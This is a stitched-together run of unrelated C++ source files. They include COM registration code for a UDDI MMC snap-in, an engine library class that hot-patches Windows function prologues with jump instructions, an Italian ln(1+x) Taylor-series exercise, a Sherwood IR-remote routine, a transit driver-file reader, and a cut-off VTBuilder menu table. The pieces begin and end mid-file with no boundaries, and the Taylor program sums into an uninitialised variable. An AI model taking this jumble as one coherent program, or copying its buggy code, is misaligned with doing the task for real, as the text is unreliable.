void* lpvReserved ) { if( DLL_PROCESS_ATTACH == fdwReason ) { g_hinst = hinst; } return TRUE; } STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID *ppvObj) { if( ( rclsid != CLSID_CUDDIServices ) && ( rclsid != CLSID_CSnapinAbout ) ) return CLASS_E_CLASSNOTAVAILABLE; if( !ppvObj ) return E_FAIL; *ppvObj = NULL; // // We can only hand out IUnknown and IClassFactory pointers. Fail // if they ask for anything else. // if( !IsEqualIID(riid, IID_IUnknown) && !IsEqualIID( riid, IID_IClassFactory ) ) return E_NOINTERFACE; CClassFactory *pFactory = NULL; // // make the factory passing in the creation function for the type of object they want // if( CLSID_CUDDIServices == rclsid ) pFactory = new CClassFactory( CClassFactory::COMPONENT ); else if( CLSID_CSnapinAbout == rclsid ) pFactory = new CClassFactory( CClassFactory::ABOUT ); if( NULL == pFactory ) return E_OUTOFMEMORY; HRESULT hr = pFactory->QueryInterface( riid, ppvObj ); return hr; } STDAPI DllCanUnloadNow(void) { if( ( 0 == g_uObjects ) && ( 0 == g_uSrvLock ) ) return S_OK; else return S_FALSE; } CClassFactory::CClassFactory(FACTORY_TYPE factoryType) : m_cref(0) , m_factoryType(factoryType) { OBJECT_CREATED } CClassFactory::~CClassFactory() { OBJECT_DESTROYED } STDMETHODIMP CClassFactory::QueryInterface(REFIID riid, LPVOID *ppv) { if( !ppv ) return E_FAIL; *ppv = NULL; if( IsEqualIID( riid, IID_IUnknown ) ) *ppv = static_cast(this); else if( IsEqualIID(riid, IID_IClassFactory ) ) *ppv = static_cast(this); if( *ppv ) { reinterpret_cast(*ppv)->AddRef(); return S_OK; } return E_NOINTERFACE; } STDMETHODIMP_(ULONG) CClassFactory::AddRef() { return InterlockedIncrement( (LONG*)&m_cref ); } STDMETHODIMP_(ULONG) CClassFactory::Release() { if( 0 == InterlockedDecrement( (LONG *)&m_cref ) ) { delete this; return 0; } return m_cref; } STDMETHODIMP CClassFactory::CreateInstance( LPUNKNOWN pUnkOuter, REFIID riid, LPVOID * ppvObj ) { HRESULT hr; void* pObj; if( !ppvObj ) return E_FAIL; *ppvObj = NULL; // // Our object does does not support aggregation, so we need to // fail if they ask us to do aggregation. // if( pUnkOuter ) return CLASS_E_NOAGGREGATION; if( COMPONENT == m_factoryType ) { pObj = new CComponentData(); } else { pObj = new CSnapinAbout(); } if( !pObj ) return E_OUTOFMEMORY; // // QueryInterface will do the AddRef() for us, so we do not // do it in this function // hr = ( (LPUNKNOWN) pObj )->QueryInterface( riid, ppvObj ); if( FAILED(hr) ) delete pObj; return hr; } STDMETHODIMP CClassFactory::LockServer( BOOL fLock ) { if( fLock ) InterlockedIncrement( (LONG *) &g_uSrvLock ); else InterlockedDecrement( (LONG *) &g_uSrvLock); return S_OK; } // // Register the component in the registry. // HRESULT RegisterServer( HMODULE hModule, // DLL module handle const CLSID& clsid, // Class ID const _TCHAR* szFriendlyName ) // IDs { LPOLESTR wszCLSID = NULL; try { // // Get server location. // _TCHAR szModule[ MAX_PATH + 1]; DWORD dwResult = ::GetModuleFileName( hModule, szModule, sizeof(szModule)/sizeof(_TCHAR) ); szModule[ MAX_PATH ] = NULL; assert( 0 != dwResult ); // // Get CLSID // HRESULT hr = StringFromCLSID( clsid, &wszCLSID ); if( FAILED(hr) || ( NULL == wszCLSID ) ) { return hr; } // // Build the key CLSID\\{...} // tstring strKey( _T("CLSID\\") ); strKey += wszCLSID; CUDDIRegistryKey::Create( HKEY_CLASSES_ROOT, strKey ); CUDDIRegistryKey key( HKEY_CLASSES_ROOT, strKey ); key.SetValue( _T(""), szFriendlyName ); key.Close(); strKey += _T( "\\InprocServer32" ); CUDDIRegistryKey::Create( HKEY_CLASSES_ROOT, strKey ); CUDDIRegistryKey keyInprocServer32( HKEY_CLASSES_ROOT, strKey ); keyInprocServer32.SetValue( _T(""), szModule ); keyInprocServer32.SetValue( _T("ThreadingModel"), _T("Apartment") ); keyInprocServer32.Close(); // // Free memory. // CoTaskMemFree( wszCLSID ); return S_OK; } catch( ... ) { CoTaskMemFree( wszCLSID ); return E_OUTOFMEMORY; } } ////////////////////////////////////////////////////////// // // Exported functions // // // Server registration // STDAPI DllRegisterServer() { try { HRESULT hr = S_OK; _TCHAR szName[ 256 ]; _TCHAR szSnapInName[ 256 ]; _TCHAR szAboutName[ 256 ]; _TCHAR szProvider[ 256 ]; // // TODO: Fix the version thing here // //_TCHAR szVersion[ 100 ]; LoadString( g_hinst, IDS_UDDIMMC_NAME, szName, ARRAYLEN( szName ) ); LoadString( g_hinst, IDS_UDDIMMC_SNAPINNAME, szSnapInName, ARRAYLEN( szSnapInName ) ); LoadString( g_hinst, IDS_UDDIMMC_ABOUTNAME, szAboutName, ARRAYLEN( szAboutName ) ); LoadString( g_hinst, IDS_UDDIMMC_PROVIDER, szProvider, ARRAYLEN( szProvider ) ); // // TODO: Fix the version thing here // //LoadString( g_hinst, IDS_UDDIMMC_VERSION, szVersion, ARRAYLEN( szVersion ) ); // // Register our Components // hr = RegisterServer( g_hinst, CLSID_CUDDIServices, szName ); if( FAILED(hr) ) return hr; hr = RegisterServer( g_hinst, CLSID_CSnapinAbout, szAboutName ); if( FAILED(hr) ) return hr; // // Create the primary snapin nodes // LPOLESTR wszCLSID = NULL; hr = StringFromCLSID( CLSID_CUDDIServices, &wszCLSID ); if( FAILED(hr) ) { return hr; } LPOLESTR wszCLSIDAbout = NULL; hr = StringFromCLSID( CLSID_CSnapinAbout, &wszCLSIDAbout ); if( FAILED(hr) ) { CoTaskMemFree( wszCLSID ); return hr; } TCHAR szPath[ MAX_PATH + 1 ]; GetModuleFileName( g_hinst, szPath, MAX_PATH ); tstring strNameStringIndirect( _T("@") ); strNameStringIndirect += szPath; strNameStringIndirect += _T(",-"); _TCHAR szNameResourceIndex[ 10 ]; strNameStringIndirect += _itot( IDS_UDDIMMC_NAME, szNameResourceIndex, 10 ); tstring strMMCKey( g_szMMCBasePath ); strMMCKey += _T("\\SnapIns\\"); strMMCKey += wszCLSID; CUDDIRegistryKey::Create( HKEY_LOCAL_MACHINE, strMMCKey ); CUDDIRegistryKey keyMMC( strMMCKey ); keyMMC.SetValue( _T("About"), wszCLSIDAbout ); keyMMC.SetValue( _T("NameString"), szName ); keyMMC.SetValue( _T("NameStringIndirect"), strNameStringIndirect.c_str() ); keyMMC.SetValue( _T("Provider"), szProvider ); // // TODO: Fix the version thing here // keyMMC.SetValue( _T("Version" ), _T("1.0") ); keyMMC.Close(); tstring strStandAlone( strMMCKey ); strStandAlone += _T("\\StandAlone"); CUDDIRegistryKey::Create( HKEY_LOCAL_MACHINE, strStandAlone ); tstring strNodeTypes( strMMCKey ); strNodeTypes += _T("\\NodeTypes"); CUDDIRegistryKey::Create( HKEY_LOCAL_MACHINE, strNodeTypes ); // // No NodeTypes to register // We do not allow extensions of our nodes // // // Register as a dynamic extension to computer management // tstring strExtKey( g_szMMCBasePath ); strExtKey += _T("\\NodeTypes\\"); strExtKey += g_szServerAppsGuid; strExtKey += _T("\\Dynamic Extensions"); CUDDIRegistryKey dynamicExtensions( strExtKey ); dynamicExtensions.SetValue( wszCLSID, szSnapInName ); dynamicExtensions.Close(); // // Register as a namespace extension to computer management // tstring strNameSpaceExtensionKey( g_szMMCBasePath ); strNameSpaceExtensionKey += _T("\\NodeTypes\\"); strNameSpaceExtensionKey += g_szServerAppsGuid; strNameSpaceExtensionKey += _T("\\Extensions\\NameSpace"); CUDDIRegistryKey hkeyNameSpace( strNameSpaceExtensionKey ); hkeyNameSpace.SetValue( wszCLSID, szSnapInName ); hkeyNameSpace.Close(); CoTaskMemFree( wszCLSID ); CoTaskMemFree( wszCLSIDAbout ); return hr; } catch( ... ) { return E_FAIL; } } STDAPI DllUnregisterServer() { LPOLESTR wszCLSID = NULL; try { HRESULT hr = S_OK; UnRegisterServer( CLSID_CUDDIServices ); if( FAILED(hr) ) return hr; UnRegisterServer( CLSID_CSnapinAbout ); if( FAILED(hr) ) return hr; // // Remove \\SnapIns\\ entry // hr = StringFromCLSID( CLSID_CUDDIServices, &wszCLSID ); if( FAILED( hr) || ( NULL == wszCLSID ) ) { return hr; } tstring strMMCKey( g_szMMCBasePath ); strMMCKey += _T("\\SnapIns\\"); strMMCKey += wszCLSID; CUDDIRegistryKey::DeleteKey( HKEY_LOCAL_MACHINE, strMMCKey ); // // Remove \\Dynamic Extensions key // tstring strExtKey( g_szMMCBasePath ); strExtKey += _T("\\NodeTypes\\"); strExtKey += g_szServerAppsGuid; strExtKey += _T("\\Dynamic Extensions"); CUDDIRegistryKey dynamicExtensions( strExtKey ); dynamicExtensions.DeleteValue( wszCLSID ); dynamicExtensions.Close(); // // Delete \\NodeTypes\\...\\Extensions\\Namespace Value // tstring strNameSpaceExtensionKey( g_szMMCBasePath ); strNameSpaceExtensionKey += _T("\\NodeTypes\\"); strNameSpaceExtensionKey += g_szServerAppsGuid; strNameSpaceExtensionKey += _T("\\Extensions\\NameSpace"); CUDDIRegistryKey hkeyNameSpace( strNameSpaceExtensionKey ); hkeyNameSpace.DeleteValue( wszCLSID ); hkeyNameSpace.Close(); CoTaskMemFree( wszCLSID ); return S_OK; } catch(...) { CoTaskMemFree( wszCLSID ); return E_FAIL; } } // // Remove the component from the registry. // LONG UnRegisterServer( const CLSID& clsid ) { LPOLESTR wszCLSID = NULL; try { // // Get CLSID // HRESULT hr = StringFromCLSID( clsid, &wszCLSID ); if( FAILED(hr) || ( NULL == wszCLSID ) ) { return hr; } // // Build the key CLSID\\{...} // wstring wstrKey( L"CLSID\\" ); wstrKey += wszCLSID; // // Delete the CLSID Key - CLSID\{...} // CUDDIRegistryKey::DeleteKey( HKEY_CLASSES_ROOT, wstrKey ); } catch( ... ) { // // Free memory. // CoTaskMemFree( wszCLSID ); return E_OUTOFMEMORY; } // // Free memory. // CoTaskMemFree( wszCLSID ); return S_OK ; } /////////////////////////////////////////////////////////////////////////////// /// /// \file ExternalLibrary.cpp /// Implementation of the ExternalLibrary class. /// /// Authors: /// Copyright 2014, DigiPen Institute of Technology /// /////////////////////////////////////////////////////////////////////////////// #include "Precompiled.hpp" namespace Zero { ExternalLibrary::ExternalLibrary() { mHandle = NULL; mUnloadOnDestruction = true; } ExternalLibrary::~ExternalLibrary() { if(mUnloadOnDestruction) Unload(); } bool ExternalLibrary::IsValid() { return mHandle != NULL; } void ExternalLibrary::Load(Status& status, cstr filePath) { mHandle = (void*)LoadLibraryA(filePath); if(mHandle == NULL) FillWindowsErrorStatus(status); } void ExternalLibrary::Unload() { if(mHandle == NULL) return; FreeLibrary((HMODULE)mHandle); mHandle = NULL; } void* ExternalLibrary::GetFunctionByName(cstr name) { ReturnIf(mHandle == NULL, NULL, "Attempting to get a function from an invalid library"); return (void*)GetProcAddress((HMODULE)mHandle, name); } void* ExternalLibrary::Patch(void* oldFunctionPointer, void* newFunctionPointer) { #if defined(PLATFORM_32) // This implementation currently only works on Windows __stdcall functions that start with mov edi,edi // This typically includes all Windows functions // This also only works in x86, not x64 byte* oldStart = (byte*)oldFunctionPointer; // Look for mov edi,edi if (oldStart[0] == 0x89 && oldStart[1] == 0xFF) { // Right behind mov edi,edi should be 5 nops byte* oldFunction = oldStart - 5; byte* newFunction = (byte*)newFunctionPointer; // Mark the page as writable DWORD oldProtect = 0; VirtualProtect(oldFunction, 7, PAGE_EXECUTE_READWRITE, &oldProtect); // Get the jump offset from the old function to the new function // We have to subtract 5 since that is the size of the relative jump 0xE9 opcode // and x86 counts the jump offset starting from the NEXT instruction (after 5) int offset = (newFunction - oldFunction) - 5; // Short relative jump backwards to the nops, where we're going to put a long relative jump oldFunction[5] = 0xEB; oldFunction[6] = (byte)-7; // Long relative jump to the new function oldFunction[0] = 0xE9; *(int*)(oldFunction + 1) = offset; // The original function can still be called by moving the function pointer // to right after where the mov edi,edi was (a 2 byte nop) byte* original = oldFunction + 7; return original; } #endif return nullptr; } }//namespace Zero // // Calcolare il ln(1+x) con Taylor // #include #include using namespace std; int main() { float x, somma; cout << "Inserisci x: "; cin >> x; if ((x > 1) || (x < -1)) { cout << "ERRORE: valore di x non valido" << endl; } else { for (int n = 1; n < 10000; n++) { somma += pow(-1, n + 1) * pow(x, n) / n; } cout << "ln(1+ " << x << ")= " << somma << endl; } return (0); } // Copyright 2017 // Sherwood IR remote emulation // Supports: // Brand: Sherwood, Model: RC-138 remote // Brand: Sherwood, Model: RD6505(B) Receiver #include #include "IRsend.h" #if SEND_SHERWOOD // Send an IR command to a Sherwood device. // // Args: // data: The contents of the command you want to send. // nbits: The bit size of the command being sent. (kSherwoodBits) // repeat: The nr. of times you want the command to be repeated. (Default: 1) // // Status: STABLE / Known working. // // Note: // Sherwood remote codes appear to be NEC codes with a manditory repeat code. // i.e. repeat should be >= kSherwoodMinRepeat (1). void IRsend::sendSherwood(uint64_t data, uint16_t nbits, uint16_t repeat) { sendNEC(data, nbits, std::max((uint16_t)kSherwoodMinRepeat, repeat)); } #endif //********************************************************* // Driver_File.cpp - Transit Driver File Input/Output //********************************************************* #include "Driver_File.hpp" //----------------------------------------------------------- // Driver_File constructors //----------------------------------------------------------- Driver_File::Driver_File (Access_Type access, Format_Type format, bool notes_flag) : Db_Header (access, format, notes_flag) { Setup (); } Driver_File::Driver_File (char *filename, Access_Type access, Format_Type format, bool notes_flag) : Db_Header (access, format, notes_flag) { Setup (); Open (filename); } //----------------------------------------------------------- // Driver_File destructor //----------------------------------------------------------- Driver_File::~Driver_File (void) { } //----------------------------------------------------------- // Setup //----------------------------------------------------------- void Driver_File::Setup (void) { File_Type ("Transit Driver File"); File_ID ("Driver"); Nested (true); Header_Lines (2); route = links = veh_type = sub_type = link = dir = 0; } //--------------------------------------------------------- // Create_Fields //--------------------------------------------------------- bool Driver_File::Create_Fields (void) { Add_Field ("ROUTE", INTEGER, 10); Add_Field ("NLINKS", INTEGER, 10); Add_Field ("VEHTYPE", INTEGER, 5); Add_Field ("SUBTYPE", INTEGER, 2); if (Notes_Flag ()) { Add_Field ("NOTES", STRING, FIELD_BUFFER); } Add_Field ("LINK", INTEGER, 10, 0, -1, false, true); if (Dbase_Format () == VERSION3 || LinkDir_Type () == LINK_NODE) { Add_Field ("NODE", INTEGER, 10, 0, -1, false, true); } else if (LinkDir_Type () == LINK_DIR) { Add_Field ("DIR", INTEGER, 2, 0, -1, false, true); } return (Set_Field_Numbers ()); } //----------------------------------------------------------- // Set_Field_Numbers //----------------------------------------------------------- bool Driver_File::Set_Field_Numbers (void) { //---- required fields ---- route = Required_Field ("ROUTE"); links = Required_Field ("LINKS", "NLINKS", "NUM_LINKS"); link = Required_Field ("LINK", "LINK_DIR", "LINKDIR"); if (!route || !links || !link) return (false); //---- optional fields ---- veh_type = Optional_Field ("TYPE", "VEHTYPE", "VEH_TYPE"); sub_type = Optional_Field ("SUBTYPE", "SUB_TYPE"); dir = Optional_Field ("DIR", "NODE"); Notes_Field (Optional_Field ("NOTES")); if (dir > 0) { if (Optional_Field ("DIR") == 0) { LinkDir_Type (LINK_NODE); } else { LinkDir_Type (LINK_DIR); } } else { LinkDir_Type (LINK_SIGN); } return (true); } //----------------------------------------------------------- // Default_Definition //----------------------------------------------------------- bool Driver_File::Default_Definition (void) { Nested (true); Header_Lines (2); Create_Fields (); return (Write_Def_Header (NULL)); } // // The menus functions of the main Frame window of the VTBuilder application. // // Copyright (c) 2001-2013 Virtual Terrain Project // Free for all uses, see license.txt for details. // // For compilers that support precompilation, includes "wx/wx.h". #include "wx/wxprec.h" #ifndef WX_PRECOMP #include "wx/wx.h" #endif #include #include #include #include #include "vtdata/config_vtdata.h" #include "vtdata/ChunkLOD.h" #include "vtdata/DataPath.h" #include "vtdata/ElevationGrid.h" #include "vtdata/FileFilters.h" #include "vtdata/Icosa.h" #include "vtdata/QuikGrid.h" #include "vtdata/TripDub.h" #include "vtdata/Version.h" #include "vtdata/vtDIB.h" #include "vtdata/vtLog.h" #include "vtdata/WFSClient.h" #include "vtui/Helper.h" #include "vtui/ContourDlg.h" #include "vtui/ProfileDlg.h" #include "vtui/ProjectionDlg.h" #include "gdal_priv.h" #include "App.h" #include "BuilderView.h" #include "Frame.h" #include "MenuEnum.h" #include "Options.h" #include "Tin2d.h" #include "TreeView.h" #include "vtImage.h" // Layers #include "ElevLayer.h" #include "ImageLayer.h" #include "RawLayer.h" #include "RoadLayer.h" #include "StructLayer.h" #include "UtilityLayer.h" #include "VegLayer.h" #include "WaterLayer.h" // Dialogs #include "DistanceDlg2d.h" #include "DistribVegDlg.h" #include "ElevMathDlg.h" #include "ExtentDlg.h" #include "FeatInfoDlg.h" #include "GenGridDlg.h" #include "GeocodeDlg.h" #include "ImageMapDlg.h" #include "LayerPropDlg.h" #include "MapServerDlg.h" #include "MatchDlg.h" #include "PrefDlg.h" #include "RenderDlg.h" #include "SelectDlg.h" #include "VegDlg.h" DECLARE_APP(BuilderApp) BEGIN_EVENT_TABLE(MainFrame, wxFrame) EVT_MENU(ID_FILE_NEW, MainFrame::OnProjectNew) EVT_MENU(ID_FILE_OPEN, MainFrame::OnProjectOpen) EVT_MENU(ID_FILE_SAVE, MainFrame::OnProjectSave) EVT_MENU(ID_FILE_PREFS, MainFrame::OnProjectPrefs) EVT_MENU(ID_SPECIAL_FLIP, MainFrame::OnElevFlip) EVT_MENU(ID_SPECIAL_BATCH, MainFrame::OnBatchConvert) EVT_MENU(ID_SPECIAL_DYMAX_TEXTURES, MainFrame::OnDymaxTexture) EVT_MENU(ID_SPECIAL_DYMAX_MAP, MainFrame::OnDymaxMap) EVT_MENU(ID_SPECIAL_PROCESS_BILLBOARD, MainFrame::OnProcessBillboard) EVT_MENU(ID_SPECIAL_GEOCODE, MainFrame::OnGeocode) EVT_MENU(ID_SPECIAL_RUN_TEST, MainFrame::OnRunTest) EVT_MENU(ID_FILE_EXIT, MainFrame::OnQuit) EVT_UPDATE_UI(ID_FILE_MRU, MainFrame::OnUpdateFileMRU) EVT_MENU(ID_EDIT_DELETE, MainFrame::OnEditDelete) EVT_MENU(ID_EDIT_DESELECTALL, MainFrame::OnEditDeselectAll) EVT_MENU(ID_EDIT_INVERTSELECTION, MainFrame::OnEditInvertSelection) EVT_MENU(ID_EDIT_CROSSINGSELECTION, MainFrame::OnEditCrossingSelection) EVT_UPDATE_UI(ID_EDIT_DELETE, MainFrame::OnUpdateEditDelete) EVT_UPDATE_UI(ID_EDIT_CROSSINGSELECTION, MainFrame::OnUpdateCrossingSelection) EVT_MENU(ID_LAYER_NEW, MainFrame::OnLayerNew) EVT_MENU(ID_LAYER_OPEN, MainFrame::OnLayerOpen) EVT_MENU(ID_LAYER_SAVE, MainFrame::OnLayerSave) EVT_MENU(ID_LAYER_SAVE_AS, MainFrame::OnLayerSaveAs) EVT_MENU(ID_LAYER_IMPORT, MainFrame::OnLayerImport) EVT_MENU(ID_LAYER_IMPORTTIGER, MainFrame::OnLayerImportTIGER) EVT_MENU(ID_LAYER_IMPORTOSM, MainFrame::OnLayerImportOSM) EVT_MENU(ID_LAYER_IMPORTNTF, MainFrame::OnLayerImportNTF) EVT_MENU(ID_LAYER_IMPORT_MS, MainFrame::OnLayerImportMapSource) EVT_MENU(ID_LAYER_IMPORT_POINT, MainFrame::OnLayerImportPoint) EVT_MENU(ID_LAYER_IMPORT_XML, MainFrame::OnLayerImportXML) EVT_MENU(ID_LAYER_IMPORT_DXF, MainFrame::OnLayerImportDXF) EVT_MENU(ID_LAYER_PROPS, MainFrame::OnLayerProperties) EVT_MENU(ID_LAYER_CONVERTCRS, MainFrame::OnLayerConvertCRS) EVT_MENU(ID_LAYER_SETCRS, MainFrame::OnLayerSetCRS) EVT_MENU(ID_LAYER_COMBINE, MainFrame::OnLayerCombine) EVT_MENU(ID_EDIT_OFFSET, MainFrame::OnEditOffset) EVT_UPDATE_UI(ID_LAYER_SAVE, MainFrame::OnUpdateLayerSave) EVT_UPDATE_UI(ID_LAYER_SAVE_AS, MainFrame::OnUpdateLayerSaveAs) EVT_UPDATE_UI(ID_MRU_LAYER, MainFrame::OnUpdateMRULayer) EVT_UPDATE_UI(ID_MRU_IMPORT, MainFrame::OnUpdateMRUImport) EVT_UPDATE_UI(ID_LAYER_PROPS, MainFrame::OnUpdateLayerProperties) EVT_UPDATE_UI(ID_LAYER_COMBINE, MainFrame::OnUpdateLayerCombine) EVT_UPDATE_UI(ID_EDIT_OFFSET, MainFrame::OnUpdateEditOffset) EVT_MENU(ID_VIEW_SHOWLAYER, MainFrame::OnLayerShow) EVT_MENU(ID_VIEW_LAYER_UP, MainFrame::OnLayerUp) EVT_MENU(ID_VIEW_LAYER_DOWN, MainFrame::OnLayerDown) EVT_MENU(ID_VIEW_ZOOMIN, MainFrame::OnViewZoomIn) EVT_MENU(ID_VIEW_ZOOMOUT, MainFrame::OnViewZoomOut) EVT_MENU(ID_VIEW_ZOOMALL, MainFrame::OnViewZoomAll) EVT_MENU(ID_VIEW_ZOOM_LAYER, MainFrame::OnViewZoomToLayer) EVT_MENU(ID_VIEW_FULLVIEW, MainFrame::OnViewFull) EVT_MENU(ID_VIEW_ZOOM_AREA, MainFrame::OnViewZoomArea) EVT_MENU(ID_VIEW_TOOLBAR, MainFrame::OnViewToolbar) EVT_MENU(ID_VIEW_LAYERS, MainFrame::OnViewLayers) EVT_MENU(ID_VIEW_MAGNIFIER, MainFrame::OnViewMagnifier) EVT_MENU(ID_VIEW_PAN, MainFrame::OnViewPan) EVT_MENU(ID_VIEW_DISTANCE, MainFrame::OnViewDistance) EVT_MENU(ID_VIEW_SETAREA, MainFrame::OnViewSetArea) EVT_MENU(ID_VIEW_WORLDMAP, MainFrame::OnViewWorldMap) EVT_MENU(ID_VIEW_SHOWUTM, MainFrame::OnViewUTMBounds) EVT_MENU(ID_VIEW_PROFILE, MainFrame::OnViewProfile) EVT_MENU(ID_VIEW_SCALE_BAR, MainFrame::OnViewScaleBar) EVT_MENU(ID_VIEW_OPTIONS, MainFrame::OnViewOptions) EVT_UPDATE_UI(ID_VIEW_SHOWLAYER, MainFrame::OnUpdateLayerShow) EVT_UPDATE_UI(ID_VIEW_LAYER_UP, MainFrame::OnUpdateLayerUp) EVT_UPDATE_UI(ID_VIEW_LAYER_DOWN, MainFrame::OnUpdateLayerDown) EVT_UPDATE_UI(ID_VIEW_MAGNIFIER, MainFrame::OnUpdateMagnifier) EVT_UPDATE_UI(ID_VIEW_PAN, MainFrame::OnUpdatePan) EVT_UPDATE_UI(ID_VIEW_DISTANCE, MainFrame::OnUpdateDistance) EVT_UPDATE_UI(ID_VIEW_ZOOM_LAYER, MainFrame::OnUpdateViewZoomToLayer) EVT_UPDATE_UI(ID_VIEW_FULLVIEW, MainFrame::OnUpdateViewFull) EVT_UPDATE_UI(ID_VIEW_ZOOM_AREA, MainFrame::OnUpdateViewZoomArea) EVT_UPDATE_UI(ID_VIEW_TOOLBAR, MainFrame::OnUpdateViewToolbar) EVT_UPDATE_UI(ID_VIEW_LAYERS, MainFrame::OnUpdateViewLayers) EVT_UPDATE_UI(ID_VIEW_SETAREA, MainFrame::OnUpdateViewSetArea) EVT_UPDATE_UI(ID_VIEW_WORLDMAP, MainFrame::OnUpdateWorldMap) EVT_UPDATE_UI(ID_VIEW_SHOWUTM, MainFrame::OnUpdateUTMBounds) EVT_UPDATE_UI(ID_VIEW_PROFILE, MainFrame::OnUpdateViewProfile) EVT_UPDATE_UI(ID_VIEW_SCALE_BAR, MainFrame::OnUpdateViewScaleBar) EVT_MENU(ID_ROAD_SELECTROAD, MainFrame::OnSelectLink) EVT_MENU(ID_ROAD_SELECTNODE, MainFrame::OnSelectNode) EVT_MENU(ID_ROAD_SELECTWHOLE, MainFrame::OnSelectWhole) EVT_MENU(ID_ROAD_DIRECTION, MainFrame::OnDirection) EVT_MENU(ID_ROAD_EDIT, MainFrame::OnRoadEdit) EVT_MENU(ID_ROAD_SHOWNODES, MainFrame::OnRoadShowNodes) EVT_MENU(ID_ROAD_SELECTHWY, MainFrame::OnSelectHwy) EVT_MENU(ID_ROAD_CLEAN, MainFrame::OnRoadClean) EVT_MENU(ID_ROAD_GUESS, MainFrame::OnRoadGuess) EVT_UPDATE_UI(ID_ROAD_SELECTROAD, MainFrame::OnUpdateSelectLink) EVT_UPDATE_UI(ID_ROAD_SELECTNODE, MainFrame::OnUpdateSelectNode) EVT_UPDATE_UI(ID_ROAD_SELECTWHOLE, MainFrame::OnUpdateSelectWhole) EVT_UPDATE_UI(ID_ROAD_DIRECTION, MainFrame::OnUpdateDirection) EVT_UPDATE_UI(ID_ROAD_EDIT, MainFrame::OnUpdateRoadEdit) EVT_UPDATE_UI(ID_ROAD_SHOWNODES, MainFrame::OnUpdateRoadShowNodes) EVT_MENU(ID_ELEV_SELECT, MainFrame::OnElevSelect) EVT_MENU(ID_ELEV_REMOVERANGE, MainFrame::OnElevRemoveRange) EVT_MENU(ID_ELEV_ARITHMETIC, MainFrame::OnElevArithmetic) EVT_MENU(ID_ELEV_SETUNKNOWN, MainFrame::OnElevSetUnknown) EVT_MENU(ID_ELEV_FILL_FAST, MainFrame::OnFillFast) EVT_MENU(ID_ELEV_FILL_SLOW, MainFrame::OnFillSlow) EVT_MENU(ID_ELEV_FILL_REGIONS, MainFrame::OnFillRegions) EVT_MENU(ID_ELEV_SCALE, MainFrame::OnElevScale) EVT_MENU(ID_ELEV_VERT_OFFSET, MainFrame::OnElevVertOffset) EVT_MENU(ID_ELEV_EXPORT, MainFrame::OnElevExport) EVT_MENU(ID_ELEV_EXPORT_TILES, MainFrame::OnElevExportTiles) EVT_MENU(ID_ELEV_COPY, MainFrame::OnElevCopy) EVT_MENU(ID_ELEV_PASTE_NEW, MainFrame::OnElevPasteNew) EVT_MENU(ID_ELEV_BITMAP, MainFrame::OnElevExportBitmap) EVT_MENU(ID_ELEV_TOTIN, MainFrame::OnElevToTin) EVT_MENU(ID_ELEV_CONTOURS, MainFrame::OnElevContours) EVT_MENU(ID_ELEV_CARVE, MainFrame::OnElevCarve) EVT_MENU(ID_ELEV_MERGETIN, MainFrame::OnElevMergeTin) EVT_MENU(ID_ELEV_TRIMTIN, MainFrame::OnElevTrimTin) EVT_UPDATE_UI(ID_ELEV_SELECT, MainFrame::OnUpdateElevSelect) EVT_UPDATE_UI(ID_ELEV_REMOVERANGE, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_ARITHMETIC, MainFrame::OnUpdateArithmetic) EVT_UPDATE_UI(ID_ELEV_SETUNKNOWN, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_FILL_FAST, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_FILL_SLOW, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_FILL_REGIONS, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_SCALE, MainFrame::OnUpdateIsElevation) EVT_UPDATE_UI(ID_ELEV_VERT_OFFSET, MainFrame::OnUpdateIsElevation) EVT_UPDATE_UI(ID_ELEV_EXPORT, MainFrame::OnUpdateIsElevation) EVT_UPDATE_UI(ID_ELEV_EXPORT_TILES, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_COPY, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_BITMAP, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_TOTIN, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_CONTOURS, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_CARVE, MainFrame::OnUpdateIsGrid) EVT_UPDATE_UI(ID_ELEV_MERGETIN, MainFrame::OnUpdateElevMergeTin) EVT_UPDATE_UI(ID_ELEV_TRIMTIN, MainFrame::OnUpdateElevTrimTin) EVT_MENU(ID_IMAGE_REPLACE_RGB, MainFrame::OnImageReplaceRGB) EVT_MENU(ID_IMAGE_CREATE_OVERVIEWS, MainFrame::OnImageCreateOverviews) EVT_MENU(ID_IMAGE_CREATE_OVER_ALL, MainFrame::OnImageCreateOverviewsAll) EVT_MENU(ID_IMAGE_CREATE_MIPMAPS, MainFrame::OnImageCreateMipMaps) EVT_MENU(ID_IMAGE_LOAD_MIPMAPS, MainFrame::OnImageLoadMipMaps) EVT_MENU(ID_IMAGE_EXPORT_TILES, MainFrame::OnImageExportTiles) EVT_MENU(ID_IMAGE_EXPORT_PPM, MainFrame::OnImageExportPPM) EVT_UPDATE_UI(ID_IMAGE_REPLACE_RGB, MainFrame::OnUpdateHaveImageLayer) EVT_UPDATE_UI(ID_IMAGE_CREATE_OVERVIEWS, MainFrame::OnUpdateHaveImageLayer) EVT_UPDATE_UI(ID_IMAGE_CREATE_OVER_ALL, MainFrame::OnUpdateHaveImageLayer) EVT_UPDATE_UI(ID_IMAGE_CREATE_MIPMAPS, MainFrame::OnUpdateHaveImageLayerInMem) EVT_UPDATE_UI(ID_IMAGE_LOAD_MIPMAPS, MainFrame::OnUpdateHaveImageLayer) EVT_UPDATE_UI(ID_IMAGE_EXPORT_TILES,MainFrame::OnUpdateHaveImageLayer) EVT_UPDATE_UI(ID_IMAGE_EXPORT_PPM, MainFrame::OnUpdateHaveImageLayer) EVT_MENU(ID_TOWER_ADD, MainFrame::OnTowerAdd) EVT_MENU(ID_TOWER_SELECT, MainFrame::OnTowerSelect) EVT_MENU(ID_TOWER_EDIT, MainFrame::OnTowerEdit) EVT_UPDATE_UI(ID_TOWER_ADD, MainFrame::OnUpdateTowerAdd) EVT_UPDATE_UI(ID_TOWER_SELECT, MainFrame::OnUpdateTowerSelect) EVT_UPDATE_UI(ID_TOWER_EDIT, MainFrame::OnUpdateTowerEdit) 